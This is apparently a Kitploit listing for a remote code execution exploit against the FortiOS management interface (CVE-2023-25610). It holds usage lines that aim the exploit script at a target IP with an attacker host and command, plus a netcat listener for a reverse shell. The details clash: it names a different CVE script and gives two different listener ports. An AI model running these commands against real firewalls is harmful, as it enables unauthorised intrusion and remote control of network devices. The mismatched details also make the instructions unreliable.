CVE-2023-25610 — FortiOS 管理界面中的堆内存下溢导致远程代码执行 | Kitploit

Share

CVE-2023-25610

Heap memory underflow in the FortiOS management interface leads to remote code execution.

Scope and Limitations

Fortinet 6.x
Based on TLSv1.3; may vary across other TLS versions

Usage

python3 cve-2022-42475.py rhost rport lhost 'command'

python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /'

Listener

The exploit uses a Python command to set up a reverse shell on port 31337.

nc -lvnp 31226